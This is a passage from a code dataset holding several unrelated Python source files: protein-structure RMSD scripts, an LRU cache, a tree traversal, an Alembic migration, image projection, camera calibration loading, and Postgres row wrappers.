self.add_parameter(model=DM([('parameter', parameter)]))\n\n self.links = []\n for link in imp.iteraslist('link'):\n self.add_link(model=DM([('link', link)]))\n\n def metadata(self) -> dict:\n \"\"\"\n Generates a dict of simple metadata values associated with the record.\n Useful for quickly comparing records and for building pandas.DataFrames\n for multiple records of the same style.\n \"\"\"\n data = {}\n \n # Copy class attributes to dict\n data['key'] = self.key\n data['id'] = self.id\n data['date'] = self.date.isoformat()\n data['status'] = self.status\n data['notes'] = self.notes\n data['type'] = self.type\n\n data['artifacts'] = []\n for artifact in self.artifacts:\n data['artifacts'].append(artifact.metadata())\n \n data['parameters'] = []\n for parameter in self.parameters:\n data['parameters'].append(parameter.metadata())\n \n data['links'] = []\n for link in self.links:\n data['links'].append(link.metadata())\n \n return data\n\n def build_model(self) -> DM:\n \"\"\"\n Returns the object info as data model content\n \n Returns\n ----------\n DataModelDict: The data model content.\n \"\"\"\n\n model = DM()\n model['implementation'] = imp = DM()\n imp['key'] = self.key\n if self.id is not None:\n imp['id'] = self.id\n imp['status'] = self.status\n imp['date'] = str(self.date)\n if self.type is not None:\n imp['type'] = self.type\n if self.notes is not None:\n imp['notes'] = DM([('text', self.notes)])\n for artifact in self.artifacts:\n imp.append('artifact', artifact.build_model()['artifact'])\n for parameter in self.parameters:\n imp.append('parameter', parameter.build_model()['parameter'])\n for link in self.links:\n imp.append('link', link.build_model()['link'])\n \n return model\n\n def add_artifact(self,\n model: Union[str, io.IOBase, DM, None] = None,\n **kwargs):\n \"\"\"\n Initializes an Artifact object and adds it to the artifacts list.\n\n Parameters\n ----------\n model : str, file-like object or DataModelDict, optional\n Model content or file path to model content.\n filename : str, optional\n The name of the file without path information.\n label : str, optional\n A short description label.\n url : str, optional\n URL for file where downloaded, if available.\n \"\"\"\n self.artifacts.append(Artifact(model=model, **kwargs))\n\n def add_link(self,\n model: Union[str, io.IOBase, DM, None] = None,\n **kwargs):\n \"\"\"\n Initializes a Link object and adds it to the links list.\n \n Parameters\n ----------\n model : str, file-like object or DataModelDict, optional\n Model content or file path to model content.\n url : str, optional\n URL for the link.\n label : str, optional\n A short description label.\n linktext : str, optional\n The text for the link, i.e. what gets clicked on.\n \"\"\"\n self.links.append(Link(model=model, **kwargs))\n\n def add_parameter(self,\n model: Union[str, io.IOBase, DM, None] = None,\n **kwargs):\n \"\"\"\n Initializes a Parameter object and adds it to the parameters list.\n \n Parameters\n ----------\n model : str, file-like object or DataModelDict, optional\n Data model content to load.\n name : str, optional\n The name of the parameter or string parameter line.\n value : float, optional\n The value of the parameter.\n unit : str, optional\n Units associated with value.\n \"\"\"\n self.parameters.append(Parameter(model=model, **kwargs))\n","repo_name":"usnistgov/potentials","sub_path":"potentials/record/Implementation.py","file_name":"Implementation.py","file_ext":"py","file_size_in_byte":12631,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"3757117972","text":"#!/usr/bin/python3\n\nimport __main__\n__main__.pymol_argv = [ 'pymol', '-Qc'] # Quiet and no GUI\n\nimport sys\nimport re\nimport math\nimport pymol\n\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\n\ndef calculateNewCoordinates(angles3DAB, lengthsBetweenCAPDB):\n proteinLength = int((len(angles3DAB) + 5) / 2)\n coordinates = [ [[None] for i in range(3)] for j in range(proteinLength) ]\n\n coordinates[0][0] = 0.0\n coordinates[0][1] = 0.0\n coordinates[0][2] = 0.0\n\n coordinates[1][0] = 0.0\n coordinates[1][1] = 1.0 * lengthsBetweenCAPDB[0]\n coordinates[1][2] = 0.0\n\n coordinates[2][0] = math.cos(angles3DAB[0]) * lengthsBetweenCAPDB[1]\n coordinates[2][1] = coordinates[1][1] + math.sin(angles3DAB[0]) * lengthsBetweenCAPDB[1]\n coordinates[2][2] = 0.0\n\n for i in range(3, proteinLength):\n\n if i - 1 >= len(lengthsBetweenCAPDB):\n break\n\n coordinates[i][0] = coordinates[i - 1][0] + math.cos(angles3DAB[i - 2]) * math.cos(angles3DAB[i + proteinLength - 5]) * lengthsBetweenCAPDB[i - 1]\n coordinates[i][1] = coordinates[i - 1][1] + math.sin(angles3DAB[i - 2]) * math.cos(angles3DAB[i + proteinLength - 5]) * lengthsBetweenCAPDB[i - 1]\n coordinates[i][2] = coordinates[i - 1][2] + math.sin(angles3DAB[i + proteinLength - 5]) * lengthsBetweenCAPDB[i - 1]\n \n return coordinates\n\ndef readAngles3DAB(proteinName):\n filePath = 'proteinsDE/' + proteinName + '.3dab'\n\n angles = []\n\n with open(filePath) as f:\n line = f.readline()\n line = [x for x in re.split(r'\\s{1,}', line) if x]\n angles = [(float(x) * math.pi / 180.0) for x in line] \n \n return angles\n\ndef getRMSD(proteinName):\n # proteinPDB = proteinName\n proteinPDB = proteinName\n proteinNEW = proteinName + '_new'\n\n # proteinPDBPath = 'proteinsCIF/' + proteinPDB + '.cif'\n proteinPDBPath = 'proteinsCIF/' + proteinPDB + '.cif'\n proteinNEWPath = 'proteinsNEW/' + proteinNEW + '.cif'\n\n pymol.cmd.load(proteinPDBPath)\n pymol.cmd.load(proteinNEWPath)\n\n x = pymol.cmd.align(proteinPDB, proteinNEW, cycles = 0, transform = 0)\n\n return float(x[0])\n\ndef lengthsFromCoordinates(coordinates):\n distances = []\n\n for i in range(1, len(coordinates)):\n dx = coordinates[i][0] - coordinates[i - 1][0]\n dy = coordinates[i][1] - coordinates[i - 1][1]\n dz = coordinates[i][2] - coordinates[i - 1][2]\n d = math.sqrt( (dx * dx) + (dy * dy) + (dz * dz) )\n distances.append(d)\n \n return distances\n\ndef readCIFFile(proteinName, chainLetter, middlePDBFile):\n fileCIFpath = 'proteinsCIF/' + proteinName + '.cif'\n \n headerPDBFile = ''\n tailPDBFile = ''\n coordinates = []\n\n buildingHeader = True\n\n with open(fileCIFpath) as f:\n\n line = f.readline()\n headerPDBFile += line\n\n while line:\n\n lineSplit = [x for x in re.split(r'\\s{1,}', line) if x]\n header = lineSplit[0]\n \n if header == 'ATOM' or header == 'HETATM':\n buildingHeader = False\n\n model = lineSplit[20]\n\n if int(model) == 1:\n atom = lineSplit[3]\n chain = lineSplit[6]\n\n if (header == 'ATOM' and atom == 'CA' and chain == chainLetter) or (header == 'HETATM' and atom == 'C' and chain == chainLetter) or (header == 'HETATM' and atom == 'N' and chain == chainLetter):\n coordinates.append([float(lineSplit[10]), float(lineSplit[11]), float(lineSplit[12])])\n\n middlePDBFile.append(lineSplit)\n else:\n if buildingHeader:\n headerPDBFile += line\n else:\n tailPDBFile += line\n\n\n line = f.readline()\n\n return [ coordinates, headerPDBFile, tailPDBFile ]\n\ndef buildNewPDBFile(coordinates, header, tail, middle, proteinName):\n\n ident = [' ', '\\t', ' ', '\\t', ' ', ' ', ' ', ' ', '\\t', ' ', ' ', ' ', '\\t', ' ', ' ', ' ', '\\t', ' ', ' ', '\\t']\n\n fileText = ''\n fileText += header\n\n for k in range(len(middle)):\n line = str(middle[k][0])\n\n for i in range(1, 10):\n line += str(ident[i - 1])\n line += str(middle[k][i])\n\n for i in range(10, 13):\n line += str(ident[i - 1])\n line += '{:.2f}'.format(float(coordinates[k][i - 10]))\n\n for i in range(13, len(middle[k])):\n line += str(ident[i - 1])\n line += str(middle[k][i])\n\n line += '\\n'\n fileText += line\n \n fileText += tail\n\n filePath = 'proteinsNEW/' + proteinName + '_new.cif'\n file = open(filePath,'w')\n file.write(fileText)\n file.close()\n\ndef readInputNames(proteinsNamePath):\n proteins = []\n\n with open(proteinsNamePath) as f:\n line = f.readline()\n\n while line:\n lineSplit = [x for x in re.split(r'\\s{1,}', line) if x] \n\n name = lineSplit[0]\n length = lineSplit[1]\n chainLetter = ''\n\n if len(lineSplit) >= 3:\n chainLetter = lineSplit[2]\n else:\n chainLetter = 'A'\n \n proteins.append([name, chainLetter, length])\n\n line = f.readline()\n \n return proteins\n\ndef readInputChains(proteinsChainPath):\n chains = {}\n\n with open(proteinsChainPath) as f:\n line = f.readline()\n\n while line:\n lineSplit = [x for x in re.split(r'\\s{1,}', line) if x] \n\n name = lineSplit[0]\n chain = lineSplit[1]\n chains[name] = chain\n\n line = f.readline()\n \n return chains\n\ndef readInputObjMCA(proteinsObjMCAPath):\n objs = {}\n\n with open(proteinsObjMCAPath) as f:\n line = f.readline()\n\n while line:\n lineSplit = [x for x in re.split(r'\\s{1,}', line) if x] \n\n name = lineSplit[0]\n obj = lineSplit[1]\n objs[name] = float(obj)\n\n line = f.readline()\n return objs\n\ndef calculate3DAB(angles, chain):\n proteinLength = int((len(angles) + 5) / 2)\n\n aminoacidPosition = [None] * proteinLength * 3\n\n aminoacidPosition[0] = 0.0\n aminoacidPosition[0 + proteinLength] = 0.0\n aminoacidPosition[0 + proteinLength * 2] = 0.0\n\n aminoacidPosition[1] = 0.0\n aminoacidPosition[1 + proteinLength] = 1.0\n aminoacidPosition[1 + proteinLength * 2] = 0.0\n\n aminoacidPosition[2] = math.cos(angles[0])\n aminoacidPosition[2 + proteinLength] = math.sin(angles[0]) + 1.0\n aminoacidPosition[2 + proteinLength * 2] = 0.0\n\n for i in range(3, proteinLength):\n aminoacidPosition[i] = aminoacidPosition[i - 1] + math.cos(angles[i - 2]) * math.cos(angles[i + proteinLength - 5])\n aminoacidPosition[i + proteinLength] = aminoacidPosition[i - 1 + proteinLength] + math.sin(angles[i - 2]) * math.cos(angles[i + proteinLength - 5])\n aminoacidPosition[i + proteinLength * 2] = aminoacidPosition[i - 1 + proteinLength * 2] + math.sin(angles[i + proteinLength - 5])\n \n obj = 0.0\n for i in range(proteinLength - 2):\n obj += (1.0 - math.cos(angles[i])) / 4.0\n\n for i in range(proteinLength - 2):\n for j in range(i + 2, proteinLength):\n c = -0.5\n if chain[i] == 'A' and chain[j] == 'A':\n c = 1.0\n elif chain[i] == 'B' and chain[j] == 'B':\n c = 0.5\n \n dx = aminoacidPosition[i] - aminoacidPosition[j]\n dy = aminoacidPosition[i + proteinLength] - aminoacidPosition[j + proteinLength]\n dz = aminoacidPosition[i + proteinLength * 2] - aminoacidPosition[j + proteinLength * 2]\n d = math.sqrt( (dx * dx) + (dy * dy) + (dz * dz) )\n\n obj += 4.0 * (1.0 / math.pow(d, 12.0) - c / math.pow(d, 6.0))\n \n return obj\n\ndef buildLatexReport(proteins):\n report = ''\n\n header = ''\n tail = ''\n\n reportPath = 'reportLatex.txt'\n reportHeaderPath = 'reportHeader.txt'\n reportTailPath = 'reportTail.txt'\n\n with open(reportHeaderPath, 'r') as f:\n header = f.read()\n with open(reportTailPath, 'r') as f:\n tail = f.read()\n\n report += header\n\n for p in proteins:\n report += '\\t\\t\\t\\\\textbf{' + p[0] + '}\\t'\n report += '& \\\\textbf{' + p[1] + '}\\t'\n report += '& ' + p[2] + '\\t'\n report += '& ' + p[3] + '\\t'\n report += '& ' + p[4] + '\\t'\n report += '\\\\\\\\ \\n'\n \n report += tail\n\n reportFile = open(reportPath,'w')\n reportFile.write(report)\n reportFile.close()\n\n\n\ndef main():\n\n proteinsNamePath = 'proteinsNames.txt'\n proteinsChainPath = 'proteinsChains.txt'\n proteinsObjMCAPath = 'proteinsObjMCA.txt'\n\n proteins = readInputNames(proteinsNamePath)\n chains = readInputChains(proteinsChainPath)\n objsMCA = readInputObjMCA(proteinsObjMCAPath)\n\n proteinsOutput = []\n\n for protein in proteins:\n proteinName = protein[0]\n chainLetter = protein[1]\n length = protein[2]\n\n middlePDBFile = []\n [ coordinatesPDB, headerPDBFile, tailPDBFile ] = readCIFFile(proteinName, chainLetter, middlePDBFile)\n\n angles3DAB = readAngles3DAB(proteinName)\n obj3DAB = calculate3DAB(angles3DAB, chains[proteinName])\n\n lengthsBetweenCAPDB = lengthsFromCoordinates(coordinatesPDB)\n newCoordinates = calculateNewCoordinates(angles3DAB, lengthsBetweenCAPDB)\n\n buildNewPDBFile(newCoordinates, headerPDBFile, tailPDBFile, middlePDBFile, proteinName)\n \n rmsd = getRMSD(proteinName)\n\n objMCA = '{:.3f}'.format(objsMCA[proteinName])\n obj3DAB = '{:.3f}'.format(obj3DAB)\n rmsd = '{:.3f}'.format(rmsd) \n\n print('Name: ' + proteinName)\n print('Length: ' + length)\n print('Energy MCA: ' + objMCA)\n print('Energy TCC: ' + obj3DAB)\n print('RMSD: ' + rmsd)\n print()\n\n proteinsOutput.append([proteinName.upper(), length, objMCA, obj3DAB, rmsd])\n \n buildLatexReport(proteinsOutput)\n\n\nif __name__ == \"__main__\":\n pymol.finish_launching()\n main()\n pymol.cmd.quit()\n\n\n'''\nnot used anymore:\n\n# chain3DAB = readChain3DAB(proteinName)\n# coordinates3DAB = coordinatesFromAngles(angles3DAB)\n# obj3DAB = calculate3DAB(angles3DAB, chain3DAB)\n\n# lengthsBetweenCA3DAB = lengthsFromCoordinates(coordinates3DAB)\n# newLengths = lengthsFromCoordinates(newCoordinates)\n\n# print('Free Energy from 3DAB: ' + str(obj3DAB) + '\\n')\n# printList(lengthsBetweenCA3DAB, 'Lengths between Ca from 3DAB coordinates')\n# printList(lengthsBetweenCAPDB, 'Lengths between Ca from 3DAB coordinates')\n# printList(newLengths, 'Lengths between Ca from 3DAB coordinates and PDB lengths')\n# print3DMatrix(newCoordinates, 'New Coordinates from 3DAB coordinates and PDB lengths')\n\n# plot3D(coordinatesPDB)\n# plot3D(newCoordinates)\n\ndef readChain3DAB(proteinName):\n filePath = 'proteinsDE/' + proteinName + '.3dab'\n\n chain = []\n\n with open(filePath) as f:\n line = f.readline()\n line = f.readline()\n chain = [ x for x in line ] \n \n return chain\n\ndef coordinatesFromAngles(angles):\n proteinLength = int((len(angles) + 5) / 2)\n\n coordinates = [ [[None] for i in range(3)] for j in range(proteinLength) ]\n\n coordinates[0][0] = 0.0\n coordinates[0][1] = 0.0\n coordinates[0][2] = 0.0\n\n coordinates[1][0] = 0.0\n coordinates[1][1] = 1.0\n coordinates[1][2] = 0.0\n\n coordinates[2][0] = math.cos(angles[0])\n coordinates[2][1] = math.sin(angles[0]) + 1.0\n coordinates[2][2] = 0.0\n\n for i in range(3, proteinLength):\n coordinates[i][0] = coordinates[i - 1][0] + math.cos(angles[i - 2]) * math.cos(angles[i + proteinLength - 5])\n coordinates[i][1] = coordinates[i - 1][1] + math.sin(angles[i - 2]) * math.cos(angles[i + proteinLength - 5])\n coordinates[i][2] = coordinates[i - 1][2] + math.sin(angles[i + proteinLength - 5])\n \n return coordinates\n\ndef calculate3DAB(angles, chain):\n proteinLength = int((len(angles) + 5) / 2)\n\n aminoacidPosition = [None] * proteinLength * 3\n\n aminoacidPosition[0] = 0.0\n aminoacidPosition[0 + proteinLength] = 0.0\n aminoacidPosition[0 + proteinLength * 2] = 0.0\n\n aminoacidPosition[1] = 0.0\n aminoacidPosition[1 + proteinLength] = 1.0\n aminoacidPosition[1 + proteinLength * 2] = 0.0\n\n aminoacidPosition[2] = math.cos(angles[0])\n aminoacidPosition[2 + proteinLength] = math.sin(angles[0]) + 1.0\n aminoacidPosition[2 + proteinLength * 2] = 0.0\n\n for i in range(3, proteinLength):\n aminoacidPosition[i] = aminoacidPosition[i - 1] + math.cos(angles[i - 2]) * math.cos(angles[i + proteinLength - 5])\n aminoacidPosition[i + proteinLength] = aminoacidPosition[i - 1 + proteinLength] + math.sin(angles[i - 2]) * math.cos(angles[i + proteinLength - 5])\n aminoacidPosition[i + proteinLength * 2] = aminoacidPosition[i - 1 + proteinLength * 2] + math.sin(angles[i + proteinLength - 5])\n \n obj = 0.0\n for i in range(proteinLength - 2):\n obj += (1.0 - math.cos(angles[i])) / 4.0\n\n for i in range(proteinLength - 2):\n for j in range(i + 2, proteinLength):\n c = -0.5\n if chain[i] == 'A' and chain[j] == 'A':\n c = 1.0\n elif chain[i] == 'B' and chain[j] == 'B':\n c = 0.5\n \n dx = aminoacidPosition[i] - aminoacidPosition[j]\n dy = aminoacidPosition[i + proteinLength] - aminoacidPosition[j + proteinLength]\n dz = aminoacidPosition[i + proteinLength * 2] - aminoacidPosition[j + proteinLength * 2]\n d = math.sqrt( (dx * dx) + (dy * dy) + (dz * dz) )\n\n obj += 4.0 * (1.0 / math.pow(d, 12.0) - c / math.pow(d, 6.0))\n \n return obj\n\ndef plot3D(coordinates):\n\n X = [ x[0] for x in coordinates ]\n Y = [ x[1] for x in coordinates ]\n Z = [ x[2] for x in coordinates ]\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n ax.scatter(X, Y, Z, c='r', marker='o')\n\n for i in range(1, len(coordinates)):\n ax.plot([X[i - 1], X[i]], [Y[i - 1], Y[i]], [Z[i - 1], Z[i]], c='r', linewidth=0.75)\n \n\n ax.set_xlabel('x axis')\n ax.set_ylabel('y axis')\n ax.set_zlabel('z axis')\n\n plt.show()\n\n\ndef readPDBFile(proteinName, chainLetter):\n filePDBpath = 'proteinsPDB/' + proteinName + '.pdb'\n \n coordinates = []\n\n with open(filePDBpath) as f:\n line = f.readline()\n\n while line:\n if 'ENDMDL' in line:\n break\n\n line = [x for x in re.split(r'\\s{1,}', line) if x]\n header = line[0]\n \n if ((header == 'ATOM') or (header == 'HETATM')):\n atom = line[2]\n chain = line[4]\n if ((header == 'ATOM' and atom == 'CA' and chain == chainLetter) or (header == 'HETATM' and atom == 'N' and chain == chainLetter)):\n coordinates.append([float(line[6]), float(line[7]), float(line[8])])\n\n line = f.readline()\n return coordinates\n\ndef printList(list, msg):\n print(msg)\n for i in range(len(list)):\n print(i, list[i])\n print()\n\ndef print3DMatrix(matrix, msg):\n print(msg)\n for i in range(len(matrix)):\n print('{0:0.3f} {1:0.3f} {2:0.3f}'.format(matrix[i][0], matrix[i][1], matrix[i][2]))\n print()\n\ndef buildOldPDBFile(header, tail, middle, proteinName):\n\n ident = [' ', '\\t', ' ', '\\t', ' ', ' ', ' ', ' ', '\\t', ' ', ' ', ' ', '\\t', ' ', ' ', ' ', '\\t', ' ', ' ', '\\t']\n\n fileText = ''\n fileText += header\n\n for k in range(len(middle)):\n line = str(middle[k][0])\n\n for i in range(1, 10):\n line += str(ident[i - 1])\n line += str(middle[k][i])\n\n for i in range(10, 13):\n line += str(ident[i - 1])\n line += '{:.2f}'.format(float(middle[k][i]))\n\n for i in range(13, len(middle[k])):\n line += str(ident[i - 1])\n line += str(middle[k][i])\n\n line += '\\n'\n fileText += line\n \n fileText += tail\n\n filePath = 'proteinsOLD/' + proteinName + '_old.cif'\n file = open(filePath,'w')\n file.write(fileText)\n file.close()\n\n\n'''","repo_name":"andreepdias/RMSDfrom3DAB","sub_path":"getRMSD.py","file_name":"getRMSD.py","file_ext":"py","file_size_in_byte":16195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71961700201","text":"\"\"\"Fix column issue\n\nRevision ID: ceabd67713f1\nRevises: df2d748947ab\nCreate Date: 2018-01-02 21:50:23.123285\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ceabd67713f1'\ndown_revision = 'df2d748947ab'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('comments', sa.Column('disable', sa.Boolean(), nullable=True))\n with op.batch_alter_table('comments') as batch_op:\n \tbatch_op.drop_column('disbale')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('comments', sa.Column('disbale', sa.BOOLEAN(), nullable=True))\n op.drop_column('comments', 'disable')\n # ### end Alembic commands ###\n","repo_name":"ghost123gg/fblog","sub_path":"migrations/versions/ceabd67713f1_fix_column_issue.py","file_name":"ceabd67713f1_fix_column_issue.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"18"} +{"seq_id":"38384826223","text":"# imports\nimport numpy as np\nfrom PIL import Image\n\nwhite = [255, 255, 255] # white color\nred = [255, 0, 0]# red color\n\n\ndef get_perspective_projection(data, vanishing_point=(540, 960), distanse=50):\n '''\n Pillow x, y coords starts with top left angle\n ----------------------\n |(0, 0) (0, 1) (0, 2)|\n |(1, 0) (1, 1) (1, 2)|\n |(2, 0) (2, 1) (2, 2)|\n ---------------------\n '''\n\n pil_start_point = (540, 0)\n\n data[:, 0] -= vanishing_point[0] - pil_start_point[0]# shifting X\n data[:, 0] = distanse * data[:, 0] / (distanse + data[:, 2])# transforming X\n data[:, 0] += vanishing_point[0] - pil_start_point[0]# shifting X\n\n\n data[:, 1] -= vanishing_point[1] - pil_start_point[1] # shifting Y\n data[:, 1] = distanse * data[:, 1] / (distanse + data[:, 2]) # transforming Y\n data[:, 1] += vanishing_point[1] - pil_start_point[1] # shifting Y\n\n return data\n\n\ndef generate_image(figure):\n pixel_image = np.full(shape=(540, 960, 3), fill_value=white, dtype=np.uint8)# creating array with white pixels\n pixel_image[figure[:, 0], figure[:, 1]] = red # drawing red pixels\n\n return pixel_image\n\n\n\ndata = np.loadtxt('myDataSet/DS0.txt', dtype=int)\n\ndata[:, 0] = 959 - data[:, 0] # mirror inverse y\ndata = np.insert(data, 2, [100] * len(data), axis=1) # adding new axis z = [100, 100, ..., 100]\n\nget_perspective_projection(data)\n\n\nmy_image = generate_image(data)\nnew_image = Image.fromarray(my_image, 'RGB')\nnew_image.show() # showing resulted image\nnew_image.save('perspectice_projection.png') # saving result to perspectice_projection.png\n\n","repo_name":"idont111/computer_graphics","sub_path":"laboratory4/laba4.py","file_name":"laba4.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34672663885","text":"import numpy as np\nimport json\n\n\nclass LoadCameraParameters:\n\n def __init__(self, calibration, cameraID): \n camera_data = json.load(open(calibration))\n self.cameraID = cameraID\n self.K = np.array(camera_data['intrinsic']['doubles']).reshape(3, 3)\n self.res = [camera_data['resolution']['width'],\n camera_data['resolution']['height']]\n self.tf = np.array(camera_data['extrinsic']['tf']['doubles']).reshape(4, 4)\n self.R = self.tf[:3, :3]\n self.T = self.tf[:3, 3].reshape(3, 1)\n self.dis = np.array(camera_data['distortion']['doubles']) \n self.KRinv = np.linalg.inv(np.dot(self.K, self.R))\n self.RinvT = np.dot(np.linalg.inv(self.R), self.T)","repo_name":"matheusdutra0207/is-reconstruction","sub_path":"src/reconstruction/camera_parameters.py","file_name":"camera_parameters.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43341740340","text":"class LRUCache:\n #哈希表储存结点的key值为node的引用\n #双向链表储存结点\n #tail为最近使用的\n class Node:\n def __init__(self, key, val):\n self.key = key \n self.val = val\n self.pre = None\n self.next = None\n\n def __init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.capacity = capacity\n self.length = 0\n self.head = None\n self.tail = None\n self.hashmap = {}\n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n if key not in self.hashmap :\n return -1\n else :\n node = self.hashmap[key]\n ans = node.val\n if node is self.tail:\n return ans\n\n elif node is self.head:\n\n self.head = node.next\n self.head.pre = None\n node.pre = self.tail\n self.tail.next = node\n self.tail = node\n node.next = None\n return ans\n else:\n node.pre.next = node.next\n node.next.pre = node.pre\n self.tail.next = node\n node.pre = self.tail\n self.tail = node\n return ans\n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: void\n \"\"\"\n #key值已存在的情况\n if key in self.hashmap :\n node = self.hashmap[key]\n node.val = value\n if node is self.tail :\n return\n elif node is self.head:\n self.head = node.next\n self.head.pre = None\n node.pre = self.tail\n self.tail.next = node\n self.tail = node\n node.next = None\n else:\n node.pre.next = node.next\n node.next.pre = node.pre\n self.tail.next = node\n node.pre = self.tail\n self.tail = node\n return \n node = self.Node(key, value)\n if self.length == 0:\n self.head = node\n self.tail = node\n self.hashmap[node.key] = node\n self.length += 1\n\n elif self.length < self.capacity :\n self.tail.next = node\n node.pre = self.tail\n self.tail = node\n self.hashmap[node.key] = node\n self.length += 1\n\n elif self.length == self.capacity :\n if self.length == 1:\n del self.hashmap[self.head.key]\n self.tail = node\n self.head = node\n self.hashmap[node.key] = node\n return\n else:\n del self.hashmap[self.head.key]\n self.head = self.head.next\n self.tail.next = node\n node.pre = self.tail\n self.tail = node\n self.hashmap[node.key] = node\n return \n\n \n\n\n\n\n# Your LRUCache object will be instantiated and called as such:\n# obj = LRUCache(capacity)\n# param_1 = obj.get(key)\n# obj.put(key,value)\n\nif __name__ == '__main__':\n lru = LRUCache(2)\n lru.put(1,1)\n lru.put(2,2)\n lru.get(1)\n lru.put(3,3)\n lru.get(2)\n lru.put(4,4)\n lru.get(1)\n lru.get(3)\n lru.get(4)\n\n","repo_name":"YangZyyyy/MyLeetcode","sub_path":"146_LRU.py","file_name":"146_LRU.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39476022036","text":"\"\"\"\n * Sample input:\n *\n * 1\n * / \\\n * 2 3\n * / \\ / \\\n * 4 5 6 7\n *\n *\n * Expected output:\n *\n * [1,2,4,5,3,6,7]\n *\n *\n * Algorithm:\n * 1. create a stack and add the root node\n * 2. loop while pop from stack and get data from node\n * 3. visit right node and then right node\n *\n \n\"\"\"\n\n\nclass TreeNode:\n\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n\ndef PreOrderTraversal(root):\n\n result = []\n stack = [root]\n while stack:\n node = stack.pop()\n result.append(node.data)\n if node.right:\n stack.append(node.right)\n if node.left:\n stack.append(node.left)\n return result\n\n\nif __name__ == '__main__':\n root = TreeNode(1)\n root.left = TreeNode(2)\n root.right = TreeNode(3)\n root.left.left = TreeNode(4)\n root.left.right = TreeNode(5)\n root.right.left = TreeNode(6)\n root.right.right = TreeNode(7)\n\n print(PreOrderTraversal(root))\n","repo_name":"doubletrick/ds_practice","sub_path":"trees/pre-order-traversal.py","file_name":"pre-order-traversal.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13034575582","text":"\"\"\"\nA collection of classes that represent a row in the sqlite database\n\"\"\"\nfrom datetime import datetime\nfrom typing import List\n\nfrom data_controller.postgres import Postgres\n\n__all__ = ['_GuildRow', '_MemberRow', '_UserRow', 'get_guild_row',\n 'get_member_row', 'get_user_row']\n\n\nclass _Row:\n __slots__ = ['_postgres', '_row']\n\n def __init__(self, postgres: Postgres, row=None):\n \"\"\"\n Initialize an instance of _Row\n :param postgres: the postgres controller.\n :param row: the row value for the row, optional parameter.\n \"\"\"\n self._postgres = postgres\n self._row = list(row) or []\n\n async def _write(self):\n \"\"\"\n Write self's row values into the db\n \"\"\"\n raise NotImplementedError\n\n async def _set(self, pos: int, val):\n \"\"\"\n Helper method to set a value of the row.\n :param pos: the position of the value.\n :param val: the value to set to.\n \"\"\"\n if self._row[pos] != val:\n self._row[pos] = val\n await self._write()\n\n\nclass _GuildRow(_Row):\n \"\"\"\n Represents a row in the guild_info table\n \"\"\"\n\n def __init__(self, postgres: Postgres, row_val=None):\n \"\"\"\n Initialize an instance of _GuildRow\n :param postgres: the postgres controller.\n :param row_val: the row values for this row, optional.\n \"\"\"\n super().__init__(postgres, row_val)\n\n async def _write(self):\n \"\"\"\n Write self's row values into the db\n \"\"\"\n await self._postgres.set_guild(self._row)\n\n @property\n def guild_id(self) -> int:\n return int(self._row[0])\n\n @property\n def prefix(self) -> str:\n return self._row[1]\n\n @property\n def language(self) -> str:\n return self._row[2]\n\n @property\n def mod_log(self) -> int:\n if self._row[3]:\n return int(self._row[3])\n\n @property\n def roles(self) -> list:\n lst = self._row[4]\n return lst[:] if lst else None\n\n async def set_prefix(self, prefix: str):\n await self._set(1, prefix)\n\n async def set_language(self, language: str):\n await self._set(2, language)\n\n async def set_mod_log(self, mod_log: int):\n if isinstance(mod_log, int):\n await self._set(3, str(mod_log))\n else:\n await self._set(3, None)\n\n async def set_roles(self, roles: List[str]):\n await self._set(4, roles)\n\n\nclass _MemberRow(_Row):\n \"\"\"\n Represents a row in member_info table\n \"\"\"\n\n def __init__(self, postgres: Postgres, row_val=None):\n \"\"\"\n Initialize an instance of MemberRow\n :param postgres: the postgres controller.\n :param row_val: the row values for this row, optional.\n \"\"\"\n super().__init__(postgres, row_val)\n\n async def _write(self):\n \"\"\"\n Write self's row values into the db\n \"\"\"\n await self._postgres.set_member(self._row)\n\n @property\n def member_id(self) -> int:\n return int(self._row[0])\n\n @property\n def guild_id(self) -> int:\n return int(self._row[1])\n\n @property\n def warns(self) -> int:\n return self._row[2]\n\n async def set_warns(self, warns: int):\n await self._set(2, warns)\n\n\nclass _UserRow(_Row):\n \"\"\"\n Represents a row in user_info table\n \"\"\"\n\n def __init__(self, postgres: Postgres, row_val=None):\n \"\"\"\n Initialize an instance of UserRow\n :param postgres: the postgres controller.\n :param row_val: the row values for this row, optional\n \"\"\"\n super().__init__(postgres, row_val)\n\n async def _write(self):\n \"\"\"\n Write self's row values into the db\n \"\"\"\n await self._postgres.set_user(self._row)\n\n @property\n def user_id(self) -> int:\n return int(self._row[0])\n\n @property\n def balance(self) -> int:\n return self._row[1]\n\n @property\n def daily(self) -> datetime:\n return self._row[2]\n\n async def set_balance(self, balance: int):\n await self._set(1, balance)\n\n async def set_daily(self, daily: datetime):\n await self._set(2, daily)\n\n\ndef get_guild_row(postgres: Postgres, guild_id: int, row_val=None):\n default = (str(guild_id), None, None, None, None)\n res = row_val or default\n return _GuildRow(postgres, 